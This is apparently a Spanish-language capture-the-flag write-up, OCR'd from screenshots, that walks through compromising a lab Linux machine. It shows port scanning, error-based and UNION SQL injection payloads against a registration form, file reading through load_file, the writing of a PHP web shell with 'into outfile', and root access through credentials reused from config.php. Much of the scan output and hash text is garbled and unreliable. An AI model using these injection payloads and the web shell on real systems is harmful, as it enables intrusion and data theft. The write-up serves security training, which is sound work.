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TOPICS

-SQLi error-based
-Malicious File Creation Through "into outfile" (Remote Command Execution)
-Exposed Credentials config.php File [Privilege Escalation]

RECONOCIMIENTO Y ENUMERACION

Inicio comprobando conectividad con la maquina victima.

Sping -¢ 1 10.10.11.116

Tenemos un ttl 63 = Maquina Linux
Realizare un escaneo de puertos con NMAP

Snmap -p- --open -sCV -n -v —min-rate 5000 10.10.11.116 -oN Ports

scan initiated Sat Jun 1 14:00 as: nmap -p open C VvV min-rate oN Por
scan report 10.10.11.116
is u received echo-reply ttl 63 (0.12s5 latency).
d at 5-10 13:14 T 33s
closed tcp ports (reset), 9 filtered tcp ports (no-response)
s may be reported as filtered due to defeat-rst-ratelimit

open ssh syn-ack ttl S 2pl Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol

daTSerZdETgadadcﬁcTZ 859426ef7a (
ssh-rsa : ABAAABg f - \ )1QLoBpbOy JFUoYNyhCdNP/9rvdhwFpXomoMhDx ioWQZb1RTS
bvMD1NZQbWu n g p p ybEuAeT 45UPG LvDg f pE+pRML3UTRKr21tMfpcc7y7423 30RSUNHTy1upVUcUZkRIK
rkc Ph TtudH7jYnZiel39ka/T m2ZJ1z2NoKLKTVhouVAGkH7adYtotM62JEtowBMWOHCZ9+cX6ki5¢c FKOWQhN j2TEZD C
DEGmeKS4raneQEDnéGpVhSuakaS BLk
)56 463d6bcba819eb6ad06886948673e172 (E(
sha2-nistp256 A E \ YTItbml

tcp open http
_http-title
http-methods

Apac 2.4.48
tcp open http ack ttl
tp-title: 40 rbidden
tcp open syn-ack ttl nginx
_http-title 2 G y
S e Info: 3 cpe:/o:linux:linux_kernel

data files from usr/bin share/nmap
ice detection performed. Pl report any incorrect results at https
done at Sat Jun 10 13:14:33 20 1 IP address (1 host up) scanned in 32 seconds

Puertos encontrados 22/tcp 80/tcp 4566/tcp 8080/tcp

Veo que corre el servicio http por tres puertos. Con Whatweb vere las tecnologias que corren por
este servicio.

an Linux][Apac 4.48 (Debian)],

n] Country[RESERVED][Z S r[nginx], IP[10.10.11.116], 3 Forbidde nginx

] Country[RESERVED] _ : ginx], IP[10.10.11.116], Title
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Tenemos una version de PHP/7.4.23, por lo cual si puedo llegar a inyectar algun archivo malicioso
en PHP, puedo ganar acceso a la maquina victima, vere de que trata la pagina web.

http:// 10.10.11.116/

Join the UHC - September Qualifiers

Register Now

Brazil ~ | Join Now

/

Tenemos un campo que al parecer es un panel de registro, pero no tiene entrada para una
contrasefia, vere que pasa al introducir algin argumento.

Join the UHC - September Qualifiers

Welcome test
Other Players In Brazil

* test

/'

Veo mi input reflejado en la pantalla probare si la pagina es vulnerable “HTML injection”

Welcome

_ » Test
Other Players In Brazil

ot es vulnerable “

©10.10.11.116

Raptor

es vulnerable “
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Intentare ver si la pagina también es vulnerable a “SQLi”

Welcome ' order by 50-- -

Other Players In Brazil

» fest

Test

« 'sleep(5)-- -
« "order by 50-- -

Al parecer el campo no es vulnerable, pero aun tengo el otro campo que por lo que veo puedo
intentar modificar el campo de Paises con burpsuite.

i-form-urlen:

Después de realizar una serie de comprobaciones para intentar detectar si el campo es vulnerables
a SQLi, detecte un error al tratar de inyectar *

Welcome test
Other Players In|Brazil

Fatal error: Uncaught Error: Call to a member function fetc on bool in A ml/account.php:33 Stack trace: #0 {main} thrown in

Ivariwww/html/account.php on line 33

SQLi basado en errores: la base de datos genera un mensaje de error por las acciones del
atacante. El atacante obtiene informacidn sobre la infraestructura de la base de datos en funcion
de los datos que generaron estos mensajes de error.
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Ahora que sé que es vulnerable a SQLI, intentare realizar un ordenamiento de los datos,
basandome en X columna.

Welcome test
Other Players In|Brazil' order by 1-- -

En este caso solo me arroja una sin darme error, por lo cual iniciare con “UNION attack”, esto me
permitird como atacante obtener datos validos de la base de datos actual

Nombre de la base de datos actual

Welcome raptor
Other Players In Brazil' union select database()-- -

NAME DB
= registration

Version actual de la base de datos

Welcome raptor
Other Players In Brazil' union select version()-- -

+ 10.5.11-MariaDB-1
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Vista previa de ficheros de la maquina victima

Welcome raptor
Other Players In Brazil' union select load_file("/etc/passwd")-- -

fbash daemon: :daemon:/usr; r bin/nologin
J/bin:/binfsync games:x: c

ata:/var/www:/usr
bin/nologin cd:/run
ologin
in systemd-
timesyn ] nd ¢ oy n g e md Network
Management
mysql:x:104:105:My

Intentare listar las bases de datos existentes en el sitio

username=raptor&country=Brazil' union select schema_name from
information_schema.schemata-- -

Welcome raptor

Other Players In Brazil' union select schema_name from
information_schema.schemata-- -

« registration
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Ahora intentare listar las tablas de la base de datos “registration”.

username=raptor&country=Brazil' union select table_name from information_schema.tables
where table_name="registration"-- -

Welcome raptor

Other Players In Brazil' union select table_name from information_schema.tables
where table _name="registration"-- -

 registration

Existe una tabla con nombre “registration”, listare ahora las columnas

username=raptor&country=Brazil' union select column_name from information_schema.columns
where table_schema="registration" and table_name="registration"-- -

Welcome raptor

Other Players In Brazil' union select column_name from
information_schema.columns where table_schema="registration” and
table_name="registration"-- -

* username
« userhash
= country Columnas

» regtime

Ahora intentare ver las columnas “username” y “userhash” utilizando group_concat()

username=raptor&country=Brazil' union select group_concat(username,0x3a,userhash) from
registration-- -
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8f6bcd4621d373cades

Test

:107¢30d8ae ) 2 77 or 1=1--
1409c7e92 ' : 10732 b2ac02d4b426,

Por lo que veo son los hashes y nombres creados por mi entrada, lo cual no son nada interesantes.

Existe una forma de intentar subir un archivo al sitio web ya que tengo la direccién donde se
almacena este sitio /var/www/html, si llego a tener capacidad de escritura en este directorio
podre tener éxito al intentar crear un fichero con la quiery “into outfile”

Intentare crear un archivo con el nombre prueba.txt y contenido test.

username=raptor&country=Brazil' union select "test" into outfile "/var/www/html/prueba.txt"-- -

me da un error en la respuesta, pero verificamos si se pudo crear.

Ahora que se que pude crear un archivo en el directorio mencionado, intentare colar un archivo
.php con el contenido <?php system($_REQUEST[‘cmd’]); ?>

username=raptor&country=Brazil' union select "<?php system(S_REQUEST[‘cmd’]); ?>" into outfile
"/var/www/html/cmd.php"-- -

Archivo cargado con éxito.
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Ahora que tengo capacidad de ejecucidon remota de comandos, vamos a ganar acceso a la misma

NOWN group

state UP gro

Al parecer ganamos acceso a un contenedor, pero al realizar busqueda de algin otro host no
puedo encontrar mas.

ervername =

ername "uhc";
sword
dbname =

Credenciales dentro del archivo, si analizamos un poco en el usuario que se asignd para ese
passwd, no existe en la maquina por lo cual probare esas credenciales con el usuario root

/Shtml# whoami

html# |
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